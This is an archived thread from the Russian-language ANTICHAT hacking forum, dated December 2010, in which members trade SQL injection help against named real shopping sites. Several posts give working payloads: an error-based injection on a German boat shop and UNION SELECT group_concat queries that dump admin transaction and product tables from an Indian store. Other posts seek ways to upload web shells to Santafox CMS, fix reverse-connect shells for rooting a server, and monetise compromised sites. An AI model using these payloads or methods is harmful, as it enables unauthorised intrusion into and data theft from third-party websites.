ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
07.12.2010, 22:21
|
|
Новичок
Регистрация: 26.11.2010
Сообщений: 16
Провел на форуме:
4532
Репутация:
-1
|
|
Сообщение от Фараон
http://www.grieger-boote.de/product_info.php?products_id=3934' or 1 group by concat((select version()),floor(rand(0)*2)) having min(0) or 1 -- 1
Спасибо но тогда вопрос почему здесь не катит так же ?
http://www.drachenshop.de/product_info.php?products_id=555'
|
|
|
08.12.2010, 00:31
|
|
Постоянный
Регистрация: 25.01.2009
Сообщений: 368
Провел на форуме:
5290740
Репутация:
912
|
|
имеется один сервак с старым ядром, хочу порутать.. делаю бек-коннект, коннект доходит но сразу же отрубает меня.. пробовал биндить порты (53, 81, 31337) - то же самое. есть идеи?
|
|
|
|
08.12.2010, 01:28
|
|
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме:
2101094
Репутация:
672
|
|
Сообщение от .:[melkiy
:."]
.:[melkiy]:. said:
имеется один сервак с старым ядром, хочу порутать.. делаю бек-коннект, коннект доходит но сразу же отрубает меня.. пробовал биндить порты (53, 81, 31337) - то же самое. есть идеи?
попробуй другие порты, мне повезло с этими. 8000, 31336
Сообщение от GroM88
Глупый вопрос) но все же)
Какие запросы использовать в скуле что бы просматривать таблицы из определенной БД?
ну т.е. information_schema.tables выводит все таблицы из всех бд)
а мне надо посмотреть таблицы из определенной бд)
select table_name from information_schema.tables where table_schema='перечитай_маны_по_с улям'
|
|
|
|
08.12.2010, 01:36
|
|
Новичок
Регистрация: 26.11.2010
Сообщений: 16
Провел на форуме:
4532
Репутация:
-1
|
|
http://www.webmallindia.com/gifts/productlist.php?catid=-203%20+union+select+1,2,3,4,column_name,6,7,8%20fr om%20information_schema.columns%20where%20table_na me=0x5472616e73616374%20limit%2011,1
Возможно ли вывести любое поле из этой таблицы ?
|
|
|
|
08.12.2010, 12:35
|
|
Участник форума
Регистрация: 11.10.2009
Сообщений: 116
Провел на форуме:
472147
Репутация:
211
|
|
Сообщение от [Ozzi
"]
[Ozzi] said:
Помогите плиз , нигде не нашел инфы и склонен что нельзя
можно!
Код:
http://www.webmallindia.com/gifts/productlist.php?catid=-203+union+select+unhex%28hex%28group_concat%28id,0x3a,action,0x3a,adminid,0x3a,tablename,0x3a,record_id,0x3a,actiontime%29%29%29+from+admin_transaction%20--+
Код:
http://www.webmallindia.com/gifts/productlist.php?catid=-203+union+select+unhex%28hex%28group_concat%28cd_id,0x3a,cd_name,0x3a,cd_catid,0x3a,cd_gen,0x3a,cd_lan,0x3a,cd_make,0x3a,cd_typ,0x3a,cd_flag,0x3a,cd_img,0x3a,cd_desc,0x3a,cd_inline_desc,0x3a,cd_price,0x3a,cd_discount,0x3a,cd_vendor,0x3a,cd_approve%29%29%29+from+cd
|
|
|
|
09.12.2010, 02:08
|
|
Новичок
Регистрация: 25.12.2009
Сообщений: 16
Провел на форуме:
97465
Репутация:
0
|
|
Подскажите как залить шелл, в CMS Santafox, стоят фильтры на все!
Пытаюсь через добавление картинок/видео, выкидывает ошибку, пробовал разными методами, нефига, все перепробовал.
Помогите может кто работал с этой КМСкой, или знает иные способы заливки шелла?
|
|
|
|
09.12.2010, 09:43
|
|
Новичок
Регистрация: 21.06.2005
Сообщений: 1
Провел на форуме:
0
Репутация:
0
|
|
Сообщение от [Ozzi
"]
[Ozzi] said:
Помогите раскрутить скулю тут http://www.drachenshop.de/product_info.php?products_id=256%27
Тут нет скули.
|
|
|
|
09.12.2010, 18:07
|
|
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме:
2101094
Репутация:
672
|
|
такс давайте выносим какие нить изменения!, с этого дня здесь не постим скули вида id=1'
я все равно их буду удалять.
здесь помогают раскрутить багу, если есть какие нить не понятные моменты, пишите, "вот делаю запрос не получается" или "подобрал калонки, вывода нет" или хз что там
но не пишите, помогите раскрутить ид=1' =\вам это не онлайн инжектор.
|
|
|
|
09.12.2010, 21:05
|
|
Новичок
Регистрация: 23.11.2009
Сообщений: 13
Провел на форуме:
34453
Репутация:
0
|
|
Всем привет
Не так давно решил заняться sql инжектами. много читал, много думал... не в этом суть Проблем с нахождением и раскручиванием нету... Проблема в другом - в 90% случаев от баз толку ноль, ничего хорошего в них не находится Соответственно сайтик остается без шелла Не порядок ) Посоветуйте - как бы все же средствами скуля залить на этот сайт что нибудь...
|
|
|
|
09.12.2010, 21:13
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944
Репутация:
1550
|
|
Сообщение от Sl1ng3R
Всем привет
Не так давно решил заняться sql инжектами. много читал, много думал... не в этом суть
Проблем с нахождением и раскручиванием нету... Проблема в другом - в 90% случаев от баз толку ноль, ничего хорошего в них не находится
Соответственно сайтик остается без шелла
Не порядок ) Посоветуйте - как бы все же средствами скуля залить на этот сайт что нибудь...
у некоторых от начало заниматся скулями до заливки шеллов и превращения их в ликвид уходят годы...способоб заливки тысячи и зависит от КМС, админки, состояние сервера и тд и тп..тебе тут целый мануал выложить что ли?
ЗЫ. Забыл сказать вам начинающим скулерам, сайты которые вы хекаете..давно уже перехеканы до вас...так что заливка шелла вам многого не даст...ну конечно за рeдким исключением .
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
![Аватар для [Ozzi]](/avatars/avatar146246.jpg?2462343){kind=avatar}
![Аватар для .:[melkiy]:.](/avatars/avatar74910.jpg?2462595){kind=avatar}
![Аватар для [Ozzi]](/avatars/avatar146246.jpg?2462717){kind=avatar}
Похожие темы
Линейный вид
